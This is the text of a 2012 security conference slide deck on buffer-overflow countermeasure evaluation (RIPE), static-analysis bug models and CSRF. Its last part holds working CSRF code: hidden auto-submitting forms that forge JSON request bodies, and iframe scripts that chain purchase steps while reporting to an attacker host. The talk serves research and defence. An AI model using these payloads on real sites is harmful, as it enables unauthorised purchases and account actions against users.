Application Security, in Six Parts (HackPra 2012)

1,237 views

Published on

My (@johnwilander) talk at HackPra 2012, Bochum, Germany. It covers things I've been doing in software and application security the last ten years. Not all of it but the good parts. Enjoy!

Published in: Technology, Business
0 Comments
0 Likes
Statistics
Notes
  • Be the first to comment

  • Be the first to like this

No Downloads
Views
Total views
1,237
On SlideShare
0
From Embeds
0
Number of Embeds
12
Actions
Shares
0
Downloads
33
Comments
0
Likes
0
Embeds 0
No embeds

No notes for slide

Application Security, in Six Parts (HackPra 2012)

  1. 1. Application Security, in Six PartsThe Developer Part of the Problem (slides 2-12) Buffer Overflows (slides 13-63) Modeling Security Bugs (slides 64-83) Safety & Liveness Properties (slides 84-96) CSRF Against RESTful Services (slides 97-130) Multi-Step, Semi-Blind CSRF (slides 131-150) @johnwilander at HackPra Feb 1 2012 Bochum, Germany
  2. 2. The Developer Part of the Problem
  3. 3. Statistics fromAppSec Training in Sweden ...
  4. 4. Out of 108 students45 % said they writesecurity critical code
  5. 5. Years
of
So3ware
Engineering
Experience
 60
 50
Number
of
Respondents
 40
 30
 20
 10
 0
 0‐2
years
 2
‐
5
years
 5
‐
10
years
 10
to
15
years
 15
‐
35
years

  6. 6. Programming
languages
you
know
80%
70%
60%
50%
40%
30%
20%
10%
 0%
 Java
 C#
 C/C++
 (Visual)
Basic
JavaScript
 Perl
 PHP
 Python
 Ruby
 Other
…

  7. 7. Security
areas
you
have
been
working
in
80%
70%
60%
50%
40%
30%
20%
10%
 0%
 Encryp2on
and
 Access
Control
 AAack
 Security
Tes2ng
 Code
Audit
and
 Enforcement
 Opera2onal
 Digital
 Preven2on
and
 Analysis
 Policies
for
 Security
Policies
 Signatures
 Detec2on
 Systems

  8. 8. Previous
Security
Traning
80%
70%
60%
50%
40%
30%
20%
10%
 0%
 No
previous
security
 Cer<fica<on
(CISSP,
 Training
at
college
or
 Professional
training
 Training
on
a
specific
 training
 CISM,
ISSMP,
SSCP
…)
 university
 security
product

  9. 9. Priori%za%on
of
System
Features
and
Proper%es
100%
 90%
 80%
 70%
 60%
 50%
 40%
 30%
 20%
 10%
 0%
 Features
specified
 Availability
and
 Usability
 Performance
 Maintainability
 Security
and
Privacy
 Features
not
 Up@me
 specified
but
likely
 to
be
needed

  10. 10. Frontend developer atSvenska HandelsbankenResearcher in application securityCo-leader OWASP Sweden@johnwilander johnwilander.com (music) johnwilander.se (papers etc) Priori%za%on
of
System
Features
and
Proper%es
100%
 Push 90%
 80%
 70%
 60%
 50%
 40%
 30%
 20%
 10%
 0%
 Features
specified
 Availability
and
 Usability
 Performance
 Maintainability
 Security
and
Privacy
 Features
not
 Up@me
 specified
but
likely
 to
be
needed

  11. 11. Priori%za%on
of
System
Features
and
Proper%es
 Priorities100%
 Push 90%
 80%
 70%
 60%
 50%
 40%
 30%
 20%
 10%
 0%
 Features
specified
 Availability
and
 Usability
 Performance
 Maintainability
 Security
and
Privacy
 Features
not
 Up@me
 specified
but
likely
 to
be
needed

  12. 12. Priori%za%on
of
System
Features
and
Proper%es
 Priorities100%
 90%
 80%
 70%
 60%
 50%
 40%
 30%
 20%
 10%
 0%
 Features
specified
 Availability
and
 Usability
 Performance
 Maintainability
 Security
and
Privacy
 Features
not
 Up@me
 specified
but
likely
 to
be
needed

  13. 13. RIPE:Runtime IntrusionPrevention Evaluator Published in the Proceedings of the 27th Annual Computer Security Applications Conference 2011 Joint work with Nick Nikiforakis & Yves Younan http://johnwilander.se/research_publications/ paper_acsac2011_wilander_nikiforakis_younan_kamkar_joosen.pdf
  14. 14. RIPE is ...... a deliberately vulnerable C program... that attacks itself,... to allow evaluation of countermeasures.
  15. 15. RIPE contributions:850 working buffer overflow attack formsEvaluation of 8 countermeasures7% to 89% of attack forms prohibited
  16. 16. RIPE download (MIT license):https://github.com/johnwilander/RIPE
  17. 17. A Quick Look atHow RIPE Works
  18. 18. RIPE backend Backend Performs (C) one attack per execution Can be run stand-alone, command-line
  19. 19. RIPE backend./ripe_attack_generator Backend Performs (C)-t direct -i simplenop -c one attack ret per execution-l stack -f strcpy Can be run stand-alone, command-line
  20. 20. RIPE frontendFrontend Drives Backend(Python) (C)Report
  21. 21. RIPE frontendpython ripe_tester.py Frontend Drives Backend (Python) (C){direct|indirect|both}number of times to repeat tests Report
  22. 22. RIPE frontend Frontend Drives Backend (Python)python ripe_tester.py(C) both 5 Report
  23. 23. Which Attack Forms are Possible?
  24. 24. NDSS ’03 Testbed Target 20 attack forms Technique n at io L oc
  25. 25. NDSS ’03 Testbed Target Att 850 attack forms ack cod e Technique n at io oc Fu L nc tio n
  26. 26. ACSAC ’11 Testbed • RET • Old base ptr Target • Func ptr Att • Longjmp buffer ack • Struct with buffer & func ptr cod e Technique n at io oc Fu L nc tio n
  27. 27. ACSAC ’11 Testbed Target Att ack cod e Technique • Direct n at io • Indirect oc Fu L nc tio n
  28. 28. ACSAC ’11 Testbed Target Att ack cod e Technique n at io •memcpy oc Fu L nc •str(n)cpy tio •s(n)printf n •str(n)cat •{s|f}scanf • loop equiv of memcpy
  29. 29. ACSAC ’11 Testbed Target Att ack cod e Technique n at io oc Fu L nc• Stack (local var & param) tio n• Heap• BSS• Data
  30. 30. ACSAC ’11 Testbed• Shellcode Target• Shellcode + NOP• Shellcode + Polym. NOP• Create file Att ack• Return-into-libc cod• ROP e Technique n at io oc Fu L nc tio n
  31. 31. Examples ofAttack Forms
  32. 32. Direct Overflow with Injected Code Vulnerable Other variables Target code buffer pointer Optional Attack code Padded Address N NOP sled, (shell code bytes back to u simple or or NOP sled or l polymorph create file) attack code l ./ripe_attack_generator -t direct -i simplenop -c ret -l stack -f strcpy
  33. 33. Overflow Within Struct Struct Vulnerable Other Function buffer variables pointer Optional Attack code Address NOP sled, (shell code back to simple or or NOP sled or polymorph create file) attack code./ripe_attack_generator -t direct -i nonop-c structfuncptrstack -l stack -f strcpy
  34. 34. Indirect Overflow Vulnerable Other variables General buffer pointer Optional Attack code Padded Address N NOP sled, (shell code bytes back to u simple or or NOP sled or l polymorph create file) attack code l Target code pointer./ripe_attack_generator -t indirect -i nonop -c ret-l stack -f strcpy
  35. 35. Injected Stackframe Vulnerable Other variables Old buffer basepointer Optional Attack code Fake Address N NOP sled, (shell code stack to fake u simple or or frame stack frame l polymorph create file) l./ripe_attack_generator -t indirect -i polynop-c baseptr -l heap -f fscanf
  36. 36. All in all, 850 working attack forms
  37. 37. Demo of RIPE onUbuntu 6.06 and 9.10
  38. 38. Countermeasures Evaluated • ProPolice (canary-based, variable reorder) • CRED (boundary checking, referent object) • StackShield, Libverify (copy & check) • Libsafe, LibsafePlus, LibsafePlus+TIED (library wrappers) • PAE & XD (non-executable memory)
  39. 39. ProPolice Old Local Local Guard Base RETvariables buffers Ptr sorted
  40. 40. CRED Base Extent Referent objects Base Extent Base ExtentBase Extent Base Extent ptr
  41. 41. CRED Base Extent Base Extent Base Extent Base Extent Base ExtentAny pointer dereferencing ptrhas to stay within bounds
  42. 42. CRED Base Extent Base Extent Base ExtentBase Extent Base Extent Out-of-bounds object Obj Value Pointers allowed to be out of bounds during ptr artihmetics
  43. 43. Stack ShieldGlobal RET stack Stack frame A RET A RET A
  44. 44. Stack Shield Stack frame BGlobal RET stack RET B RET B Stack frame A RET A
  45. 45. Stack Shield Stack frame B RET BGlobal RET stack RET B Stack frame A RET A
  46. 46. Stack Shield Stack Heap BSS Data segmentBoundary Function pointers Text segment have to point here
  47. 47. Libverify Stack Heap BSS Data segment Text segment
  48. 48. Libverify Stack Heap BSS Data segment All functions Text segment
  49. 49. Libverify Stack Heap Copy all BSS functions to the Data segment heap All functions Text segment
  50. 50. Libverify Stack Instrument all functions to copyRET B their RET to aRET A All functions canary stack and Heap check it before return BSS Data segment Text segment
  51. 51. Libsafe Library functions may never overwrite a buffer pass the old base pointerBoundary Old base pointer RET Parameters
  52. 52. LibsafePlus & TIED BinarySource Compile code with -g Debug info
  53. 53. LibsafePlus & TIED Binary Libsafe-PlusDebug info TIED
  54. 54. LibsafePlus & TIED Binary Libsafe-Plus Offset from frame pointer and size forDebug info TIED all buffers
  55. 55. LibsafePlus & TIED Instruments all functions to check bounds Binary Libsafe-Plus Offset from frame pointer and size forDebug info TIED all buffers
  56. 56. Non-Executable Memory (XD + PAE) Stack W W⊻X Heap Wwritable XOR executable BSS W Data segment W Text segment X
  57. 57. Empirical Evaluation Results
  58. 58. Results Effective Successful Partly Failed attacks successful attacks -nessUbuntu 6.06 (no protection) 0% 99% 1% 0%Libsafe 7% 91% 2% 7%LibsafePlus 19% 79% 2% 19%StackShield 36% 63% 1% 36%ProPolice 40% 59% 1% 40%LibsafePlus + TIED 77% 20% 3% 77%CRED 79% 20% 0.5% 79%Ubuntu 9.10 (W⊻X + ProP) 89% 9% 1% 89%
  59. 59. Results, top 4 Effective Successful Partly Failed attacks successful attacks -nessProPolice 40% 59% 1% 40%LibsafePlus + TIED 77% 20% 3% 77%CRED 79% 20% 0.5% 79%Ubuntu 9.10 (W⊻X + ProPolice) 89% 9% 1% 89%
  60. 60. Results, top 4 Effective Successful Partly Failed attacks successful attacks -nessProPolice 40% 59% 1% 40%LibsafePlus + TIED 77% 20% 3% 77% Totally focused on protecting the stack.CRED heap/BSS/data-based attacks against longjmp buffers as stack79% Indirect, 79% 20% 0.5% variables or function parameters not fully stable and thus categorized asUbuntusuccessful. partly 9.10 (W⊻X + CRED) 89% 9% 1% 89%
  61. 61. Results, top 4 Effective Successful Partly Failed attacks successful attacks -nessProPolice 40% 59% 1% 40%LibsafePlus + TIED 77% 20% 3% 77%CRED wrap memcpy or loop equivalent of memcpy. Doen’t 79% 20% 0.5% 79% Spurious successful attacks CRED) 89% functions explains the fairly abusing wrappedUbuntu 9.10 (W⊻X + high ”Partly successful” figure. 9% 1% 89%
  62. 62. Results, top 4 Fails to protect against direct and indirect, stack/BSS/data-based overflows toward function pointers, longjmp buffers, and structs for Effective Successful Partly sprintf(), snprintf(), sscanf(), and fscanf(). Failed attacks successful attacks Attacks against structs also successful -ness for memcpy() and loop equivalentProPolice only attacks successful from buffers on the heap. and are the 40% 59% 1% 40%LibsafePlus + TIED 77% 20% 3% 77%CRED 79% 20% 0.5% 79%Ubuntu 9.10 (W⊻X + CRED) 89% 9% 1% 89%
  63. 63. Results, top 4 All code injection countermeasured. Apart from that: All struct attack forms were successful. Effective heap and the All direct attacks against function pointers on theSuccessful Partly data Failed attacks successful attacks segment were successful. -ness Indirect attacks against the old base pointer work in general on theProPolice and data segment for memcpy(), strcpy(), strncpy(), sprintf(), heap, BSS, 40% 59% 1% 40%LibsafePlusstrcat(), strncat(), sscanf(), fscanf(), and loop equivalent. 77% snprintf(), + TIED 77% 20% 3%CRED 79% 20% 0.5% 79%Ubuntu 9.10 (W⊻X + CRED) 89% 9% 1% 89%
  64. 64. Modeling, Visualizing,and Pattern Matching Security Bugs Published in E-Proceedings of Workshop onCode Based Software Security Assessments 2005 Joint work with Pia Fåk http://johnwilander.se/research_publications/paper_cobassa2005_wilander_fak.pdf
  65. 65. Textual Models// Start state. Matches any copy_from_user// call and puts parameter x in tainted state.start: { copy_from_user(x, y, len) } ==> x.tainted;// Catch operations illegal on unsafe values.x.tainted, x.need_ub, x.need_lb: { v[x] } ==>{ err(”Dangerous index!”); }...;
  66. 66. Textual FeedbackJohns_program.c:7:3: Possible out-of-bounds store:  strcpy(buffer, input_string)  Unable to resolve constraint: requires maxRead(input_string @ test.c:7:18) <= 7 needed to satisfy precondition: requires maxSet(buffer @ test.c:7:10) >= maxRead(input_string @ test.c:7:18)  derived from strcpy precondition: requires maxSet(<parameter 1>) >= maxRead(<parameter 2>)
  67. 67. Data Dependence int func(int user_input){user_input int var; ... var = user_input * 5; ... } var = ...
  68. 68. Control Dependence int func(int user_input){if(var <= 0) int var; ... if(var <= 0) var = 0; ... } var = 0;
  69. 69. Input Validation Model of good programming practice External int func(int user_input){ input int var; ... var = user_input * 5; ... def var if(var >= 0 && var < MAX) for(i = 0; i < var; i++) array[i] = 0; ...validate var } use var
  70. 70. Input Validation Model of good programming practice External int func(int user_input){ input int var; ... var = user_input * 5; ... def var if(var >= 0 && var < MAX) for(i = 0; i < var; i++) array[i] = 0; ...validate var } use var
  71. 71. Input Validation Model of good programming practice External int func(int user_input){ input int var; ... var = user_input * 5; ... def var if(var >= 0 && var < MAX) for(i = 0; i < var; i++) array[i] = 0; ...validate var } use var
  72. 72. Input Validation Model of good programming practice External int func(int user_input){ input int var; ... var = user_input * 5; ... def var if(var >= 0 && var < MAX) for(i = 0; i < var; i++) array[i] = 0; ...validate var } use var
  73. 73. Input Validation Model of good programming practice External int func(int user_input){ input int var; ... var = user_input * 5; ... def var if(var >= 0 && var < MAX) for(i = 0; i < var; i++) array[i] = 0; ...validate var } use var
  74. 74. Normal Use of free() Model of good programming practice call free()A call to free()binds the buf reference char *buf=(char *)malloc(MAX); ...to the input parameter free(buf);ptr_in. ptr_in=buf
  75. 75. Double free() Model of bad programming practicecall free() 1 call free() 2 char *buf=(char *)malloc(MAX); ... free(buf); ... free(buf);ptr_in_1=buf ptr_in_2=buf In the case of double free() there’s a data dependence from one call to free() and the subsequent input parameter ptr_in.
  76. 76. Detect Correct Use offree() Not Enough entry main() call malloc() call free() ptr_in=buf
  77. 77. We Have To Detect Incorrect Use of free() entry main() call malloc() call free() 1 call free() 2The graph with incorrect use offree() contains a subgraph with ptr_in_1=buf ptr_in_2=bufcorrect programming practice.
  78. 78. Static Analysis for Security Must Look For Both Good and Bad Programming Practice
  79. 79. Can We Use Graphs for Developer Feedback?• More inaccuracy lower severity• Exploit dual of models
  80. 80. Severityfrom high to low
  81. 81. Possible execution pathNo validation without validation External External input input def var def var validate var use var use var
  82. 82. Mandatory validation but Mandatory validation but narrowing type-cast on narrowing type-cast on validation path usage path External External input input Narrowing def var def var type-cast Narrowing validate var validate var type-cast use var use var
  83. 83. On a Higher Level Incoming XML Demarshalling DOM parsing validate object SAX parsing use object
  84. 84. Safety and LivenessProperties of Code Just to put things in perspective
  85. 85. I Asked Myself …• Can execution monitoring solve the software security problem?• Can we analyze and test for security compile-time?
  86. 86. Blacklist vs Whitelist
  87. 87. Blacklist vs Whitelist Build model Build model of bad stuff of good stuff
  88. 88. Blacklist vs Whitelist Build model Build model of bad stuff of good stuff Pattern match Detect executioninside the model outside the model and raise alarm and raise alarm
  89. 89. Blacklist vs Whitelist Blacklist Whitelist == == model of model of abnormal normal behavior behavior
  90. 90. Blacklist vs Whitelist Blacklist Whitelist == == model of model of abnormal normal behavior behavior We always detect bad things
  91. 91. So, is software security all about avoiding/detecting bad things?
  92. 92. So, is software security allNot formally about avoiding/detecting bad things?
  93. 93. Safety Liveness• No ”bad” thing must • A ”good” thing must happen during (eventually) happen execution. during execution Bad state is discrete. • Not enforceable via• Enforceable via execution monitoring – execution monitoring – there’s no way of prohibit a state detecting that the good transition from a safe thing won’t happen state to an unsafe state eventually
  94. 94. Safety Liveness • Access Control • Starvation Freedom Good thing == • Mutual Exclusion making progress Bad thing == Two threads executing • Availability in the critical section (guaranteed service) Good thing == • Deadlock Freedom Every request serviced Bad thing == Deadlock :) • Termination Lamport 1977 http://www.cis.umassd.edu/~hxu/courses/cis481/references/Lamport-1977.pdfAlpern, Schneider 1984 http://ecommons.library.cornell.edu/bitstream/1813/6495/1/85-650.pdf
  95. 95. Blacklist vs Whitelist Safety Properties Liveness PropertiesWe always detect violations of safety properties
  96. 96. This means we have to stick tosafety propertiesif we want to enforce them
  97. 97. Final part. CSRF against RESTful servicesand in several, semi-blind steps
  98. 98. Cross-Site Request Forgery Request For gery Cro ss-S ite
  99. 99. Cross-Site Request Forgery Request Forgery Cros s-Sit e Ph ish ing
  100. 100. What’s on your mind? What’s on your mind? POST POST
  101. 101. What’s on your mind? What’s on your mind?I love OWASP! POST POST
  102. 102. What’s on your mind? What’s on your mind?I love OWASP! POST POSTJohn: I love OWASP!
  103. 103. What’s on your mind? What’s on your mind? POST POST
  104. 104. What’s on your mind? What’s on your mind? POST I hate OWASP! POST
  105. 105. What’s on your mind? What’s on your mind? POST I hate OWASP! POST
  106. 106. What’s on your mind? What’s on your mind? POST I hate OWASP! POSTJohn: I hate OWASP!
  107. 107. What’s on your mind? What’s on your mind? POST <form id="target" method="POST" action="https://1-liner.org/form">John: I hate OWASP! <input type="text" value="I hate OWASP!" name="oneLiner"/> <input type="submit" value="POST"/> </form> <script type="text/javascript"> $(document).ready(function() { $(#form).submit(); }); </script>
  108. 108. <form id="target" method="POST" action="https://1-liner.org/form"> <input type="text" value="I hate OWASP!" name="oneLiner"/> <input type="submit"What’s on your mind? What’s on your mind? value="POST"/> POST </form>John: I hate OWASP! <script> $(document).ready(function() { $(#target).submit(); }); </script>
  109. 109. There used to be aprotection in web 1.5
  110. 110. Forced Browsing wizard-styleShipment info ✉ Payment info $ Next Buy!
  111. 111. Forced Browsing wizard-styleShipment info ✉ Payment info $ Token Next Buy!
  112. 112. Forced Browsing wizard-styleToken 1 Token 2 Token 3
  113. 113. Forced Browsing wizard-styleToken 1 Token 2 Token 3State built up i steps, server roundtrip in-between
  114. 114. Forced Browsing wizard-styleToken 1 Token 2 Token 3 fo rge n’t to uld est Co qu re t step las out a w tith oken va lid
  115. 115. But in RIAs ...
  116. 116. RIA & client-side state { ”purchase”: {} }
  117. 117. RIA & client-side state { ”purchase”: { ”items”: [{}] } }
  118. 118. RIA & client-side state { ”purchase”: { ”items”: [{},{}] } }
  119. 119. RIA & client-side state { ”purchase”: { ”items”: [{},{}], ”shipment”: {} } }
  120. 120. RIA & client-side state { ”purchase”: { ”items”: [{},{}], ”shipment”: {}, ”payment”: {} } }
  121. 121. RIA & client-side state { ”purchase”: { ”items”: [{},{}], ”shipment”: {}, ”payment”: {} } }
  122. 122. Can an attacker forgesuch a JSON structure?
  123. 123. CSRF possible? { ”purchase”: { ”items”: [{},{}], ”shipment”: {}, ”payment”: {} } }
  124. 124. <form id="target" method="POST" action="https://vulnerable.1-liner.org: 8444/ws/oneliners"> <input type="text" name=”” value="" /> <input type="submit" value="Go" /></form>
  125. 125. <form id="target" method="POST" action="https://vulnerable.1-liner.org: 8444/ws/oneliners" style="visibility:hidden"> <input type="text" name=”” value="" /> <input type="submit" value="Go" /></form>
  126. 126. <form id="target" method="POST" action="https://vulnerable.1-liner.org: 8444/ws/oneliners" style="visibility:hidden" enctype="text/plain"> <input type="text" name=”” value="" /> <input type="submit" value="Go" /></form>
  127. 127. <form id="target" method="POST" action="https://vulnerable.1-liner.org: 8444/ws/oneliners" style="visibility:hidden" enctype="text/plain"> Forms produce a request body that looks like this: <input type="text" name=”” theName=theValue value="" /> ... and that’s not valid JSON. <input type="submit" value="Go" /></form>
  128. 128. <form id="target" method="POST" action="https://vulnerable.1-liner.org: 8444/ws/oneliners" style="visibility:hidden" enctype="text/plain"> <input type="text" name={"id": 0, "nickName": "John", "oneLiner": "I hate OWASP!", "timestamp": "20111006"}// value="dummy" /> <input type="submit" value="Go" /></form>
  129. 129. <form id="target" method="POST" action="https://vulnerable.1-liner.org: 8444/ws/oneliners" style="visibility:hidden" body that looks Produces a request like this: enctype="text/plain"> <input type="text" 0, "nickName": {"id": name={"id": "John","oneLiner": "I 0, "nickName": "John", hate OWASP!","timestamp": "oneLiner": "I hate OWASP!", "20111006"}//=dummy "timestamp": "20111006"}// value="dummy" /> ... and that is acceptable JSON! <input type="submit" value="Go" /></form>
  130. 130. Demo POST CSRFagainst REST service
  131. 131. Important in your REST API • Restrict HTTP method, e.g. POST Easier to do CSRF with GET • Restrict to AJAX if applicable X-Requested-With:XMLHttpRequest Cross-domain AJAX prohibited by default • Restrict media type(s), e.g. application/json HTML forms only allow URL encoded, multi-part and text/plain
  132. 132. Multi-Step,Semi-Blind CSRF
  133. 133. What about ”no tokens but several steps”? Step 1 Step 2 Step 3
  134. 134. Step 1 Step 2 Step 3State built up i steps, server roundtrip in-between
  135. 135. Step 1 Step 2 Step 3 rg ed Fo t to qu es is r e tep t s id las al inv
  136. 136. Can we forge timed GETs and POSTsin a deterministic, non-blind way? Step 1 Step 2 Step 3 1 2 3 4
  137. 137. csrfMultiDriver.html invisible iframe csrfMulti0.html
  138. 138. csrfMultiDriver.html invisible invisible iframe iframe target0.html csrfMulti1.html Wait
  139. 139. csrfMultiDriver.html invisible invisible invisible iframe iframe iframe target0.html target1.html csrfMulti2.html Wait
  140. 140. csrfMultiDriver.html invisible invisible invisible invisible iframe iframe iframe iframe target0.html target1.html target2.html csrfMulti3.html Wait
  141. 141. csrfMultiDriver.html invisible invisible invisible invisible iframe iframe iframe iframe target0.html target1.html target2.html target3.html
  142. 142. <!DOCTYPE html><html><head> <script> var IFRAME_ID = "0", GET_SRC = "http://www.vulnerable.com/some.html?param=1"; </script> <script src="../iframeGetter.js"></script></head><body onload="IFRAME_GETTER.onLoad()">Extra easy to CSRF since its done with HTTP GET.</body></html> csrfMulti0.html
  143. 143. var IFRAME_GETTER = {};IFRAME_GETTER.haveGotten = false;IFRAME_GETTER.reportAndGet = function() { var imgElement; if(parent != undefined) { parent.postMessage(IFRAME_ID, "https://attackr.se:8444"); } if(!IFRAME_GETTER.haveGotten) { imgElement = document.createElement("img"); imgElement.setAttribute("src", GET_SRC); imgElement.setAttribute("height", "0"); imgElement.setAttribute("width", "0"); imgElement.setAttribute("onerror", "javascript:clearInterval(IFRAME_GETTER.intervalId)"); document.body.appendChild(imgElement); IFRAME_GETTER.haveGotten = true; }};IFRAME_GETTER.onLoad = function() { IFRAME_GETTER.intervalId = setInterval(IFRAME_GETTER.reportAndGet, 1000);}; iframeGetter.js
  144. 144. var IFRAME_GETTER = {};IFRAME_GETTER.haveGotten = false;IFRAME_GETTER.reportAndGet = function() { var imgElement; if(parent != undefined) { parent.postMessage(IFRAME_ID, "https://attackr.se:8444"); } if(!IFRAME_GETTER.haveGotten) { imgElement wait for a GET CSRF is over The = document.createElement("img"); imgElement.setAttribute("src", GET_SRC); when onerror fires imgElement.setAttribute("height", "0"); imgElement.setAttribute("width", "0"); imgElement.setAttribute("onerror", "javascript:clearInterval(IFRAME_GETTER.intervalId)"); document.body.appendChild(imgElement); IFRAME_GETTER.haveGotten = true; }};IFRAME_GETTER.onLoad = function() { IFRAME_GETTER.intervalId = setInterval(IFRAME_GETTER.reportAndGet, 1000);}; iframeGetter.js
  145. 145. <!DOCTYPE html><html><head> <script> var IFRAME_ID = "1"; </script> <script src="../iframePoster.js"></script></head><body onload="IFRAME_POSTER.onLoad()"><form id="target" method="POST" action="https://www.vulnerable.com/addBasket.html" style="visibility:hidden"> <input type="text" name="goodsId" value="95a0b76bde6b1c76e05e28595fdf5813" /> <input type="text" name="numberOfItems" value="1" /> <input type="text" name="country" value="SWE" /> <input type="text" name="proceed" value="To checkout" /></form></body></html> csrfMulti1.html
  146. 146. var IFRAME_POSTER = {};IFRAME_POSTER.havePosted = false;IFRAME_POSTER.reportAndPost = function() { if(parent != undefined) { parent.postMessage(IFRAME_ID, "https://attackr.se:8444"); } if(!IFRAME_POSTER.havePosted) { document.forms[target].submit(); IFRAME_POSTER.havePosted = true; }};IFRAME_POSTER.onLoad = function() { setInterval(IFRAME_POSTER.reportAndPost, 1000);}; iframePoster.js
  147. 147. var IFRAME_POSTER = {};IFRAME_POSTER.havePosted = false;IFRAME_POSTER.reportAndPost = function() { if(parent != undefined) { parent.postMessage(IFRAME_ID, "https://attackr.se:8444"); } if(!IFRAME_POSTER.havePosted) { document.forms[target].submit(); is over The wait for a POST CSRF IFRAME_POSTER.havePosted = true; } when parent stops getting messages};IFRAME_POSTER.onLoad = function() { setInterval(IFRAME_POSTER.reportAndPost, 1000);}; iframePoster.js
  148. 148. var CSRF = function(){ var hideIFrames = true, frames = [ {id: 0, hasPosted: "no", hasOpenedIFrame: false, src: csrfMulti0.html} ,{id: 1, hasPosted: "no", hasOpenedIFrame: false, src: csrfMulti1.html} ], appendIFrame = function(frame) { var domNode = <iframe src=" + frame.src + " height="600" width="400" + (hideIFrames ? style="visibility: hidden" : ) + ></iframe>; $("body").append(domNode); };… csrfMultiDriver.html
  149. 149. return { checkIFrames : function() { var frame; for (var i = 0; i < frames.length; i++) { frame = frames[i]; if (!frame.hasOpenedIFrame) { appendIFrame(frame); frame.hasOpenedIFrame = true; break; // Only open one iframe at the time } else if(frame.hasPosted == "no") { frame.hasPosted = "maybe"; break; // iframe not done posting, wait } else if(frame.hasPosted == "maybe") { frame.hasPosted = "yes"; break; // iframe not done posting, wait } else if (frame.hasPosted == "yes") { continue; // Time to allow for the next iframe to open } } }, receiveMessage : function(event) { if (event.origin == "https://attackr.se:8444") { CSRF.frames[parseInt(event.data)].hasPosted = "no"; // Still on CSRF page so POST not done yet } } csrfMultiDriver.html
  150. 150. Demo Multi-Step, Semi-Blind CSRFagainst 2 high-profile onlineshops in the EU where I’ve spent €1000s myself No video recording, please ;)
  151. 151. Thanks! Let’s all meet atOWASP AppSec Research 2012http://www.appsecresearch.org/ @johnwilander

×